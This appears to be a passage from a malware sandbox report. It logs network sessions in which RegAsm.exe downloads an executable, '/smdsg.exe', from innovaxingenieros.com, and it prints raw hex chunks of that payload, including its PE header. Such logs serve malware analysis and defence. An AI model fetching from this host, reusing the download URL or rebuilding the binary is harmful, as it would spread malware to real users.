2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 74 93 da 1a 99 b1 84 74 71 de b2 05 f0 e3 55 5b cf 20 dc 83 9a b0 ac 30 4c 84 91 45 1d ab e2 c6 64 0d 64 ea a4 e9 11 ab 6d 8d 04 1b 62 fa 2e a4 95 a3 c7 25 db 09 6c ae 72 5a 76 ef 28 6e 9d 85 07 78 40 3e fe f5 e5 9e 97 b6 9f e2 af eb 85 59 f1 58 00 82 33 3a 85 ac 97 c6 99 c7 59 9a c3 a3 bd 5b 61 e9 32 68 c6 c6 1c 1b e1 f0 25 9f 44 3a f0 a9 64 53 33 08 12 f8 88 9f 36 41 32 5a 91 e0 17 87 f2 d7 6a 82 fe 17 43 39 97 48 ab 4c 8e 2c da 37 b9 9f 0c 62 2a e0 07 8d 97 d3 a7 b6 35 d1 6d b2 c3 fb cf 3f ef 68 4f 85 2c 26 f9 5f 0b e8 59 4d fc 36 9c 11 d8 ee c1 50 0c 28 e3 54 76 55 a6 af e9 fa c9 b9 34 3c bb 83 35 e4 5b db cf 5c ff 62 90 89 a1 4d 7e 5e 4e e7 0a 49 14 f7 b9 7c 7b a8 73 f0 3b 6c cb 2d fe 65 84 9e ef 0f 05 18 60 43 06 82 1b 09 8c 70 d4 b7 93 68 29 af 69 Data Ascii: ttqU[ 0LEddmb.%lrZv(nx@>YX3:Y[a2h%D:dS36A2ZjC9HL,7b*5m?hO,&_YM6P(TvU4<5[\bM~^NI\|{s;l-e`Cph)i
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: a2 c0 47 b1 11 7a 08 1d f7 ba aa dd d1 8b ec 2b 80 66 81 ef b4 b4 f3 15 2e 48 20 bb fc 99 c0 fa 07 bf 91 03 67 4a cc f0 18 8c 89 06 71 db 09 01 dd 01 b0 07 f8 fa ea 7f 32 9e a3 f6 d8 d7 37 34 2f 73 65 7e d5 f6 fa c9 f6 1a 35 67 34 05 0e 86 87 02 5d e5 d5 60 5f a3 60 1d 3e b1 94 55 a1 0c 44 a9 d0 7f 64 f6 45 ea e3 75 a9 42 a2 62 28 b8 67 cc 9a 63 c1 39 11 62 cf 6c 85 f6 6d 64 59 a4 3d 64 c7 ad c5 02 28 62 05 19 0d 38 01 83 23 7b 3e 2b fb f6 38 3b 0a f9 41 05 19 4f a7 5a 28 6f d2 10 7a 62 b3 2d 0b a9 20 96 87 f6 03 25 42 6e 47 64 93 40 4d e8 d7 8b e1 96 49 b3 d5 0f 86 7c 6f 2b 1a 94 88 54 de e8 38 32 65 ef e9 d3 d8 a3 69 45 20 79 8e 38 a4 ee 81 40 33 7a af 0f a7 69 89 42 18 1d 6c d5 6b ef af 59 7f c3 57 db 13 56 c9 65 a9 eb 70 30 04 22 6a 9c e0 8d 89 44 68 Data Ascii: Gz+f.H gJq274/se~5g4]`_`>UDdEuBb(gc9blmdY=d(b8#{>+8;AOZ(ozb- %BnGd@MI\|o+T82eiE y8@3ziBlkYWVep0"jDh
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: fd 57 8a 68 7f 33 e5 5c 98 ad 5a 3e 35 09 de db a3 b3 3a a7 9e e8 5c 93 df 7d 6a 37 7b bb a6 f0 78 96 4d d3 23 06 23 c6 fc 31 e9 e1 19 be cc 27 4c c0 e5 58 09 72 ee 34 bb 73 af 0b 5d e8 de 14 ff f6 5e 3c 0e 2b 57 ff d3 3f 47 c6 2b f5 4b 41 8f a8 34 8e c2 1f d6 88 f0 a3 6f 2d 57 cd 35 f7 c4 38 df ec b5 fd 3b a7 7f f5 3b 56 ad 6a ac f5 52 11 8f 11 1a 69 a4 d5 62 fb 10 f3 12 4e 79 9e 8c 57 49 3a 38 5f a6 b0 4d 89 5f 81 6d 67 ea e5 66 7a 1f 51 67 30 38 16 7d 2e dd a0 06 48 69 b6 5f b7 e7 52 d3 22 eb 0c 0e 02 7a 15 b7 19 73 4c 4c 54 13 c9 12 cb 12 f8 37 4a d6 3f 10 48 00 d2 b9 f0 d7 18 e4 9c 22 f1 4b fb 5c 98 6e d2 04 bd 55 84 0d ef c0 94 1d b0 01 97 dd a1 5c c7 13 c7 59 41 0f db 8a 1c 63 11 b8 64 21 12 0a 21 3f 31 85 77 ad 70 08 b3 50 d5 a5 8e 70 bf e1 ac 55 Data Ascii: Wh3\Z>5:\}j7{xM##1'LXr4s]^<+W?G+KA4o-W58;;VjRibNyWI:8_M_mgfzQg08}.Hi_R"zsLLT7J?H"K\nU\YAcd!!?1wpPpU
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 4a a1 fa 22 53 68 3e e9 9e 1e cf 4b 5e c8 76 11 e3 f4 14 ca 9c 6e 94 9d 44 8e 07 17 39 53 d2 b3 b4 80 0f f8 50 38 1c 59 dc cf 7d 08 7b c7 42 0a c8 23 e0 68 e5 a3 d7 5b 55 c2 27 02 2c 71 49 34 e8 71 e6 cd 40 1a f0 1a cd 68 f4 47 51 ba c0 ea 62 ca d0 bd b0 c2 77 6c 10 e3 97 f8 84 d5 b7 80 a9 5c 7f b8 54 0a 9c 39 d8 e8 a0 92 68 d8 4c c7 44 2e eb 8c 69 b4 79 96 ea 63 ac 1e c1 1a 60 49 53 3e 80 1c 2f c1 43 ef a9 fd 6e be 58 49 0a e1 47 a3 7e bb d3 9a 4f 2d 9e 63 40 ba a0 6a 3d 17 a2 17 64 d1 b4 2e f0 af db 1c 93 10 2d 1d be a7 b1 f9 ed da fe 0e 1a 80 25 2f 7a b2 20 92 2a c8 6e 67 5d c0 cd 71 61 9d 0b 3c cb e5 39 ec 28 02 1f 9f 62 dc f1 cf 93 63 95 f7 72 48 ae bd 6d 0f 65 d3 23 1b bb 6d b4 79 47 fd 4a a4 04 25 e0 eb d6 7c 90 94 95 81 53 c8 29 f0 c0 b6 e7 f1 99 Data Ascii: J"Sh>K^vnD9SP8Y}{B#h[U',qI4q@hGQbwl\T9hLD.iyc`IS>/CnXIG~O-c@j=d.-%/z *ng]qa<9(bcrHme#myGJ%\|S)
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: da d0 2a 3b 45 98 78 a1 41 24 60 46 c9 ad 46 0b 31 d1 61 71 01 52 52 6f 02 b2 26 bd 63 1c d0 bb 0e 58 25 d4 11 b6 b7 5e 6f 82 98 61 3c a5 30 93 5b 72 19 65 33 d1 f3 04 a3 3b 5d 41 4e cb ca 72 8c 67 81 4a aa 64 12 b0 cd 0f a7 f9 50 2e f5 4b 03 4e 59 c2 80 ce ff 27 97 ba a1 27 65 66 bf cc 29 8f 86 3b 61 7f bd ef 18 46 c1 34 1a ce 64 a9 8f 5a 45 ed ce 9a e8 d8 00 06 ff 94 29 cf 8b a1 e2 7b 92 7c 6d 6a 5a c5 1a 4b 75 72 60 19 fb 12 75 3d 8b 59 c7 53 4e 3b 3d 29 2b 10 34 99 bc e3 58 ce 2a 21 f7 6f 0d e2 12 38 78 05 ae 23 25 42 41 7e a9 08 38 89 ce 9b b9 2e b8 19 71 0a 4b be 48 c3 eb a3 12 5f 82 f5 e8 b6 dc bd 2a f9 f8 d4 19 5c 1c 06 7d db 90 12 2e eb e5 42 c9 b5 fc 5d 50 fe 16 02 f2 91 f5 da 20 14 e2 d9 9b 41 02 32 22 7e 12 d7 cf 00 bd f1 34 65 67 5e 9b 7b df Data Ascii: ;ExA$`FF1aqRRo&cX%^oa<0[re3;]ANrgJdP.KNY''ef);aF4dZE){\|mjZKur`u=YSN;=)+4X!o8x#%BA~8.qKH_*\}.B]P A2"~4eg^{
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: d6 ae 07 6f 0e d7 31 a9 cc d8 24 38 90 e0 b3 16 2a 16 d5 fb fd 78 87 f6 8c 42 e2 27 23 91 c5 7d 46 8d 71 97 fa 88 f5 46 71 4e 5b 92 0e 4a 5c d3 51 dd 32 83 66 e8 4c f7 93 cb 5e c4 a5 a0 a9 b9 96 75 bb 5c d4 1c 10 74 8c 2e dd a1 76 05 6f 19 ed 3f 9e 9e da bb ee 04 4d 75 6c 05 4c 8a 7c 8f 4a 7e 45 8f 54 b7 85 52 64 d0 4d 6d 8d fb 19 de 0b da 2d 8e 4d f8 12 c3 fa 1c aa d2 36 5b 8a ca 52 ab 6d b0 1d 0a a4 0e ec 51 1e a4 d0 30 0f e2 3e 56 77 c0 05 33 dc 2d 3a e6 00 43 a6 57 64 34 d0 72 04 b0 86 d7 b2 95 f1 b7 6e ea f4 21 c2 75 df 85 db 35 d3 6a 84 f3 64 88 1d 8f 5e 95 e5 01 0c 95 ed 10 89 49 4e 8b 3d 23 5e ea 4e 51 fd ac 5b 47 04 5c 3e c2 09 61 d2 9d d7 b1 e9 d7 1f a1 72 42 c2 20 3b c2 b0 2b d6 df a8 7d 57 d2 96 01 d3 0c 94 75 2b 0a d5 79 b1 81 c8 e3 1a 94 bc Data Ascii: o1$8*xB'#}FqFqN[J\Q2fL^u\t.vo?MulL\|J~ETRdMm-M6[RmQ0>Vw3-:CWd4rn!u5jd^IN=#^NQ[G\>arB ;+}Wu+y
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 4c e4 49 44 16 7d 8d 58 fd 5d f2 7e b1 6c d2 6f c3 6b 7f cb 83 f1 14 fd 92 17 cf 5a 83 c0 bf ce b3 d4 4b 15 72 5e bd f5 f1 1c 31 d6 96 d2 c3 06 6a b5 53 3c b7 0b a6 df b7 84 b6 15 db c6 20 da a1 72 fe e0 a1 e8 35 99 29 af 75 fc 9b 09 5b fc 73 ee 91 3f 29 d1 73 e9 19 9e e9 e7 36 5c 1f 8b 94 12 47 29 de 21 88 a3 a8 3c 14 b9 c4 f5 87 62 28 a0 19 00 1a 8d e2 2b fd 79 88 60 c5 0a ed ad bd 93 59 f8 8a ea e4 b8 0b 34 2b d0 d0 c3 e9 a1 25 2a a1 34 4a 1e 81 ab 9c 14 bc 16 34 8a d2 c0 a4 5e 7f c9 6f 04 f5 01 69 7c 37 fd 89 e3 0e e7 ae fd 1f 01 a2 36 70 e5 67 e8 95 31 91 68 72 b0 40 08 8e 3c ad 59 72 66 db e6 be d0 9f 58 d8 29 68 8a 09 4e a2 e4 c9 76 9f d8 bd 58 7a 68 5e 3e e2 f1 e7 8a 19 c0 01 c0 e0 13 f1 a5 ae 30 b9 e0 4a 98 41 4e 2a 2c 36 69 cb c9 7c da 96 50 36 Data Ascii: LID}X]~lokZKr^1jS< r5)u[s?)s6\G)!<b(+y`Y4+%4J4^oi\|76pg1hr@<YrfX)hNvXzh^>0JAN,6i\|P6
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 40 2a d2 84 fa 54 39 aa f3 a2 db 96 8a 8f 9e 4a fa 80 e2 7c 9c 84 01 41 c4 74 d4 9e 2a fd 2f fa e9 78 de c0 a4 5d d5 ee ca 3c bb 36 ac a4 c1 f8 8c 0a 01 aa 68 b2 f6 0d de b6 f4 b0 0b 2a ba d6 63 5f 44 e6 0a 5d 47 fd 57 8c 53 af 08 f9 e8 c6 2d 21 ed 34 9b 3d f0 32 b6 b0 61 18 b2 b9 a5 da 89 40 a8 b6 41 ac 17 59 0d e4 77 0b 2c bc d5 3d b0 6d 72 c6 87 d0 00 63 99 63 38 c1 30 71 c2 ed 8c 57 ef 15 54 28 ec 72 69 5b 63 6e e9 bf a9 40 9a 16 49 f6 16 53 a5 30 81 a6 8e a3 77 83 01 18 3b da db b5 6a 52 b3 28 b3 18 3a 0e 1d d1 c0 9b b6 a3 35 6c a4 f2 54 e1 2d bf 35 44 ac 3c d1 fd 04 e3 17 27 50 e7 11 2e b3 49 bd 11 bd ca 1b f3 b6 d1 95 46 b4 10 83 e9 60 65 1c 72 9d f6 75 08 fc dd 69 de 01 80 d1 aa 32 c9 d7 36 9f 04 0f 1a 64 6d 29 bc 91 18 94 3a 72 05 84 a3 36 16 2e Data Ascii: @T9J\|At/x]<6h*c_D]GWS-!4=2a@AYw,=mrcc80qWT(ri[cn@IS0w;jR(:5lT-5D<'P.IF`erui26dm):r6.
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 64 57 a0 6f 4b 26 43 8a c6 09 cc c8 9c b6 76 ab 41 64 12 d5 a6 4f f8 81 9f 5f 36 79 c6 21 67 f6 48 6e 89 6e a9 78 fb 4c 02 b5 ab 19 2f 7a c0 c4 13 27 83 4e 45 86 34 e5 38 12 28 c9 fa 58 d1 ee bb 9f d7 85 fb f9 7e dd 77 1a c2 11 40 51 89 df 3a b7 1a 12 49 c9 7e c4 4d 72 d3 11 36 d9 3c 16 58 d1 b1 c5 4d 40 cb ea a9 c0 08 69 7d 39 1e 33 d1 25 1c d4 e6 48 9c d8 9a 87 26 12 ce 1b f0 34 60 ac e5 8d 3b 64 b6 35 cb cb 91 90 8d 53 e8 9a 17 06 04 b4 6e fe 70 5e fc 39 de b4 aa dc bf c1 6f 93 1b 20 ac 79 f4 7d cc 3d 81 85 a5 52 e3 88 ea fc 6e ee fb 87 f9 82 64 20 f2 00 a8 0d 57 06 4a 03 81 74 b5 c2 9c 6b a3 0f 30 44 2a 48 36 ab a0 6c db f1 37 fd c1 39 fb e4 42 51 38 e7 28 f6 3b e8 46 f7 fa 0c f4 09 01 b8 cd 8d 6a 63 0c cb 15 f1 83 4c 08 64 40 68 e2 10 39 54 98 93 5a Data Ascii: dWoK&CvAdO_6y!gHnnxL/z'NE48(X~w@Q:I~Mr6<XM@i}93%H&4`;d5Snp^9o y}=Rnd WJtk0D*H6l79BQ8(;FjcLd@h9TZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49720	167.114.163.236	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:10 UTC	206	OUT	GET /smdsg.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: innovaxingenieros.com Cache-Control: no-cache
2024-09-18 12:30:10 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:10 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:48 GMT Accept-Ranges: bytes Content-Length: 221600 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:30:10 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 73 ea 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 08 03 00 00 08 00 00 00 00 00 00 6e 26 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELfsfn& @@ `
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: bd f6 a1 c7 be 2c b3 6e be 65 3d ae 02 00 c9 26 ac a4 98 bb 4f cd ea bf e9 aa c8 c6 c2 ed ff 59 ec c4 01 64 23 53 05 70 47 2d fa 60 64 04 46 03 7b 9c 5c 51 ba e2 4b 23 b7 3b 20 a5 ea 20 78 bb c4 9d 55 10 08 e2 75 6e 2d 4e 65 84 67 4e 68 dc 73 83 ae e0 15 85 35 7d 51 c6 ce a3 c7 b1 51 61 02 ed d3 ec 72 33 e5 2e 79 f8 a0 a8 d1 a6 75 10 9d e0 f6 d3 ea 04 d0 a1 be 4f a7 cb 4a 93 1a 8c c3 84 09 8c ce e9 5b 5f 29 f9 57 64 e4 11 d8 36 a5 61 1c 03 6f 00 c6 e0 0e be ee 83 39 b6 79 8d ee c4 2c b9 2a 48 43 90 9e 83 2d d4 77 6a 50 cd 34 50 51 e1 61 51 2a 28 71 b7 8f 4e 06 5d 5a 70 f7 2b 52 9a a2 dd 3f 0b ee ea 6b bf cb 99 50 3b c1 ab 7b 00 7e 3c 9c 00 50 a0 58 92 69 7e a1 bc 77 6e 8c ef 51 b3 ec 1b 7d b1 f2 33 0b 0c 03 8f 62 86 44 19 f2 50 4e 96 d8 bd 48 4e 4b e1 45 Data Ascii: ,ne=&OYd#SpG-`dF{\QK#; xUun-NegNhs5}QQar3.yuOJ[_)Wd6ao9y,HC-wjP4PQaQ(qN]Zp+R?kP;{~<PXi~wnQ}3bDPNHNKE
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 5a 4f f2 76 e5 dd f1 bb b2 01 7e 91 14 d6 7f 2a b8 d8 21 ce 02 32 5f 66 59 9f c2 56 14 ae a3 7c 23 f4 82 3c 6f 8f 4a b1 b1 d8 0e be cb e1 fe 43 4c 9c c5 7d 49 94 ed 5d 53 54 b5 8a 45 38 cd 8e 3e 9b 63 44 ec f2 6e 13 37 8d a9 42 70 77 08 3e 28 eb 25 fc 8b 67 2d e8 2b 92 e4 8e 79 e0 76 5d 5e d1 97 67 56 48 2e 27 88 2e 09 d6 73 8f 66 eb e3 1e 38 28 8a 17 94 23 f7 2c 68 07 5e ba 81 fe ef 9f af 01 17 96 44 2c a2 fd 15 0c 8c 0d e7 b3 62 3e 49 41 3b 76 2b 33 4a 15 3b a4 55 01 3f 1b a2 37 53 00 35 53 d8 b5 c8 2b 84 f4 b0 5a d0 e2 83 e4 3f ed 9e b9 d5 5c 14 99 48 db 4a b0 e1 d2 f4 ad 98 86 dc ef a5 aa a9 e9 91 ad ab 8c 31 4a 74 48 73 ec 3c 63 29 d7 f3 d3 b0 6a 5e b0 7a 76 02 b8 0a 43 d6 b8 f1 17 84 50 44 27 84 50 03 c1 63 b4 6a 09 ec e7 e2 38 f8 40 2a 13 1b fe 29 Data Ascii: ZOv~!2_fYV\|#<oJCL}I]STE8>cDn7Bpw>(%g-+yv]^gVH.'.sf8(#,h^D,b>IA;v+3J;U?7S5S+Z?\HJ1JtHs<c)j^zvCPD'Pcj8@)
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: a5 77 78 7b 28 17 97 c8 45 e2 c7 67 99 c7 af 07 93 b6 7b a2 0f 50 e9 d7 28 e9 1d c5 8e d3 33 9c 62 1c e8 97 09 6d 19 d3 e8 e0 00 55 50 1c cf ad 08 a3 5d 8d 13 56 e2 69 f3 1b 84 70 75 87 16 a0 5e 02 2a ea 7a 9a 07 b6 1b 00 0c 8d 54 7f 9f 84 5f fa 3d d0 91 a3 9c f7 c5 73 c5 6a 2b 56 97 14 78 e6 ba 69 7b 09 b6 25 e7 28 34 16 68 b9 24 fe a4 8e 3e 37 1c 45 12 21 e7 a9 a2 cd 0a ce a8 e2 ad d2 2b 3f c2 98 cf 18 03 81 d1 15 b7 25 b9 6d 7d a0 64 0b dd de f9 d5 b6 40 55 ee 28 b9 0a 89 b5 99 3d 59 52 56 e6 70 1a 87 ec 32 d0 56 65 b1 5d 4e ac c6 0b a3 7d de 12 04 da 6e 03 9e ad 1e dd c1 9e 70 4a c4 a9 bc e3 eb 9c 66 70 f9 86 d9 61 39 30 91 b9 78 6d 02 ca f6 7b 12 ee 5e 81 cc 8d 06 8e c3 9e 90 2b f0 23 b3 4d 79 ac e3 5d 26 c9 a0 6a ac a3 bf d9 81 50 1e 46 b9 5a 38 fb Data Ascii: wx{(Eg{P(3bmUP]Vipu^*zT_=sj+Vxi{%(4h$>7E!+?%m}d@U(=YRVp2Ve]N}npJfpa90xm{^+#My]&jPFZ8
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 0a 19 51 a1 b0 e7 4a ff 27 4d 0f fa 14 03 b6 94 2a bb d9 16 a3 90 99 ea b6 dd 23 b6 a1 23 75 92 5d cf 81 18 e4 f8 15 07 5e a0 65 b5 c7 ff 48 7c 0e 08 cc 2f c5 a5 ca 05 71 53 bc 6b 0e ad 2f 84 50 9e db 91 46 5f d6 57 62 23 0b 5a 3c 97 ca 95 a9 b3 e7 2d 63 3c 8d 92 a2 bb 4d 22 79 eb 6f 9a a7 30 35 24 02 70 b6 16 30 76 02 65 5a 7a 4c 0a 38 d0 3d 8d 01 ee e2 33 ae 9c 64 1d 05 02 26 e6 5a b8 1d b1 3d 6d bc 88 6e 37 75 5d 51 cd 26 8d 49 a6 a5 ae c2 f5 b0 36 da 39 03 c5 4d 6e f1 5b 6e a4 58 b8 00 a4 89 80 9b f7 7b 76 a7 8e 7f 0a 02 43 33 2e 74 2c a4 3f c4 d7 fe cd 6d 41 d4 27 20 a4 15 b5 5d fc a1 68 50 d8 3c 1a 7b 48 96 22 af 67 a3 81 f9 d1 cc 90 64 64 7b c9 df 4d 38 76 af 93 b5 fb 38 bd 10 02 57 0e 2a ba 82 79 32 8c b6 9a ff 0e c8 2c c7 5d 7b fc 01 97 c0 0d 56 Data Ascii: QJ'M##u]^eH\|/qSk/PF_Wb#Z<-c<M"yo05$p0veZzL8=3d&Z=mn7u]Q&I69Mn[nX{vC3.t,?mA' ]hP<{H"gdd{M8v8Wy2,]{V
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 9a a7 c9 8c 4b b3 5f 41 b5 68 7f d0 3b 2c 84 4c a4 c8 01 8e 67 2e 07 52 93 43 f5 d3 91 25 c5 f3 8d 9e 4a b6 ba 49 7b 2c 25 ae 8e 49 e4 af 6f f1 f4 94 de 6a 00 00 58 0f 88 a7 b9 57 cf 05 05 cd 15 37 76 e4 97 b3 8f c4 11 24 44 87 e0 19 7f 5a d1 cc 84 c3 da 69 6c fe 81 df dd 74 7d 2c 62 ac d3 b4 92 d4 3d ca f8 a5 3c 1d 1a 6c 6e 1d d9 c7 ce af de 1c c4 bd 68 e2 44 ad f6 1c 16 bd 1a f9 83 d4 68 cc 41 0c e4 bc 2d d4 01 86 c0 e7 e9 9b b1 f9 c8 81 5c 82 f5 8e 64 51 99 1a ab db fe 2a a2 d2 73 ab 56 a8 4e 6b 0d 24 a8 75 f2 99 ba 42 86 ae f5 fa 25 9f ec 90 d1 e8 8a a1 14 59 a2 70 77 49 4b 1c 2c 05 71 97 01 69 41 4b 70 90 3f 3e 53 33 ac de 96 48 07 8c ac 50 ac a9 e2 44 e4 42 09 f0 fa 76 c0 2f 96 97 44 d3 2e c5 a2 42 20 16 27 25 60 5a ce a5 2d e0 b3 43 8a f0 fb 54 da Data Ascii: K_Ah;,Lg.RC%JI{,%IojXW7v$DZilt},b=<lnhDhA-\dQ*sVNk$uB%YpwIK,qiAKp?>S3HPDBv/D.B '%`Z-CT
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 3c 0f b1 5e 44 a9 17 fd 5c 49 f3 07 97 84 a4 4e 8d 3b 5e 99 32 53 44 c6 df 85 5a 6d 43 ba d4 54 13 a0 cb a5 39 de aa 4c 7c 17 dd 03 d1 05 fd 7c 84 e8 8e 48 ff 7c ab 6d 9e 67 c8 9e af cc 79 a4 ce 64 42 6c 6c a9 0f 10 87 b6 cd 27 e1 d0 b6 09 91 fb d3 88 a8 be 30 8e 50 7d 28 91 93 0c d3 a1 f4 ae 9d 35 9e 5b d5 cb 2a bb ec 32 63 21 05 70 9f 8c cc 98 17 a6 d4 d3 80 da ee 93 16 81 90 d7 ec 5a fd 98 cf 50 fc 9b cd 7a c9 dd 22 35 53 18 51 98 3d 9f fd 5d a2 06 5b 98 ac 04 26 b5 3c 27 f7 d7 b7 bb 57 61 6b 99 a3 2b d1 35 3f 2b db a2 fb 70 66 eb a7 88 76 81 03 66 a2 a2 83 67 46 1e 41 f5 ec 9f c4 61 29 ea 0f 6c 9c d6 e7 5b 8d 18 1a 88 ba 4b 86 49 a4 f5 db b4 12 ea c5 fc 3b de 38 c9 24 ea 9e 62 17 53 17 6a 2d 4a 45 6a 47 0f 6b 44 95 24 67 6b c5 29 26 13 14 9e 37 fe 67 Data Ascii: <^D\IN;^2SDZmCT9L\|\|H\|mgydBll'0P}(5[*2c!pZPz"5SQ=][&<'Wak+5?+pfvfgFAa)l[KI;8$bSj-JEjGkD$gk)&7g
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: ce 4e b8 7b 90 4a f4 84 8b 95 38 2b da 85 08 ab 97 15 57 56 57 f9 4b 1d b3 99 4a 3c 19 43 1f 8f ba 70 81 64 9f bc e5 cd 9f 42 a6 4b 53 bd e2 64 9d ec 18 18 88 47 20 97 21 4b df 06 a8 e9 df 74 7e 55 59 d8 34 db 4c 6c 6c 57 11 be 4c c3 49 75 77 ae 7c 26 e9 be a9 8d e1 41 5f c3 8c bd 7e e2 5b c0 5d ae 29 11 ae 07 c1 df c8 c0 5a b7 ee 48 1c 20 93 a3 94 4c ef a4 38 2a 5d 39 d6 29 53 38 71 1e f2 81 be 84 09 89 07 6d 4e 67 41 14 c8 0c a0 9b 9b 25 3c 7c e2 1f bc e0 7c c6 28 76 96 ec b0 d9 1b 53 db b2 22 59 db 39 33 d6 da ef b6 e4 73 e9 4c 9f 7a 91 8c 16 2e 38 cb b3 d5 0f 9d 0d c6 4b 1e b2 5b 0c 1c 56 8f d4 40 94 b3 f0 38 50 3a a1 1a 9d 06 d4 98 0b 2d e2 21 8c 51 37 18 1c a8 fb ab a7 e6 df 7b 25 3f b1 65 15 08 c9 3c 03 b8 9f 25 bf ce 9b af 61 51 44 2f 1d 5b 6c c5 Data Ascii: N{J8+WVWKJ<CpdBKSdG !Kt~UY4LllWLIuw\|&A_~[])ZH L8*]9)S8qmNgA%<\|\|(vS"Y93sLz.8K[V@8P:-!Q7{%?e<%aQD/[l
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: 50 5e ac 6d 8c ed a6 47 bc 07 2b 7a 74 7f de c6 b2 9b 05 d6 9f 8f 6e 94 e8 be 09 ef dc 94 a8 a7 d2 f2 6a 4a b8 65 8b f4 70 14 b9 6c 62 72 65 8a 64 7d 55 f9 1c d4 8f 70 05 2b 24 4b 35 69 9f 52 c8 cb 50 6e 29 8c 02 f6 1c 2b 67 86 e1 7c da fe 3b b9 4e 0d c9 16 cf 03 07 63 d0 00 83 16 f9 b2 df 39 04 1a f1 cc 58 7c 48 a8 ee aa dc 39 fc 94 c5 a0 23 6b 85 18 e8 09 a1 63 9b 64 c7 25 48 53 56 11 78 b7 13 33 7f ec c4 56 00 30 e8 ff fb b8 f4 fa 9a 7f de d9 e8 84 86 59 82 59 67 07 e0 1a 44 99 14 36 4b 59 38 ce a8 79 17 e9 e7 fd 06 1a 5e bf 31 bb 24 6d b3 7b ff ec 15 e0 20 a8 4b 68 ed 8c 3b b3 cb 56 00 5b b7 06 31 73 c7 77 7e ec 2d e0 50 dd ff ef 7d 63 ae 36 6b 58 c0 63 fa 54 2b 8b 83 63 57 42 2b 24 ed c6 70 80 cd 87 b8 53 ff 76 4f 70 0f c0 20 f9 1b e1 08 af 99 68 57 Data Ascii: P^mG+ztnjJeplbred}Up+$K5iRPn)+g\|;Nc9X\|H9#kcd%HSVx3V0YYgD6KY8y^1$m{ Kh;V[1sw~-P}c6kXcT+cWB+$pSvOp hW
2024-09-18 12:30:10 UTC	8000	IN	Data Raw: ef 00 d5 be f9 f5 47 d4 42 16 87 31 d7 2a bd 05 31 a4 8b b1 d7 06 80 9e 60 50 93 5b d1 82 07 49 c8 ee 80 be 9c 83 c2 57 ae 2e b7 e0 f5 83 9e d0 56 c7 02 9e e7 b6 3f f0 1b 18 b1 f2 86 da 4b 36 d3 74 97 fb 84 d5 8f 76 82 0f 82 72 64 89 f9 6c 5e ce 2b a6 bd 33 45 bf 94 a0 a8 f8 84 0e 8b 9d 05 26 63 0e 33 99 b0 39 61 d2 9e a0 9c 01 74 17 77 f1 15 ba 37 0d 72 a3 e8 f9 f6 8b 28 5b 04 4d 51 74 31 41 91 b1 7b d3 44 6e ec 0d 89 f5 84 b7 cb 22 1b b3 4f 4e 98 02 25 13 a3 95 1a f9 09 a1 16 a0 62 fc 93 a7 20 54 7a c3 9b 6c 73 52 14 0a ff 01 cb 9e 5f f0 12 3a 87 b8 e0 69 40 ac 14 cd 8f 9c 64 a7 ea d5 ec 23 68 50 19 60 f9 2a bd 6d 02 40 71 6e 3d 85 d0 30 4b 69 1e 40 46 67 ee 29 7f c3 8d c9 2c 9f 2b d9 6a 2a 2d ef 9c 4e 76 22 7e b8 93 0f ca ff 2b b6 ad 58 b0 15 d7 ef ee Data Ascii: GB11`P[IW.V?K6tvrdl^+3E&c39atw7r([MQt1A{Dn"ON%b TzlsR_:i@d#hP`m@qn=0Ki@Fg),+j*-Nv"~+X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49722	54.231.138.137	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
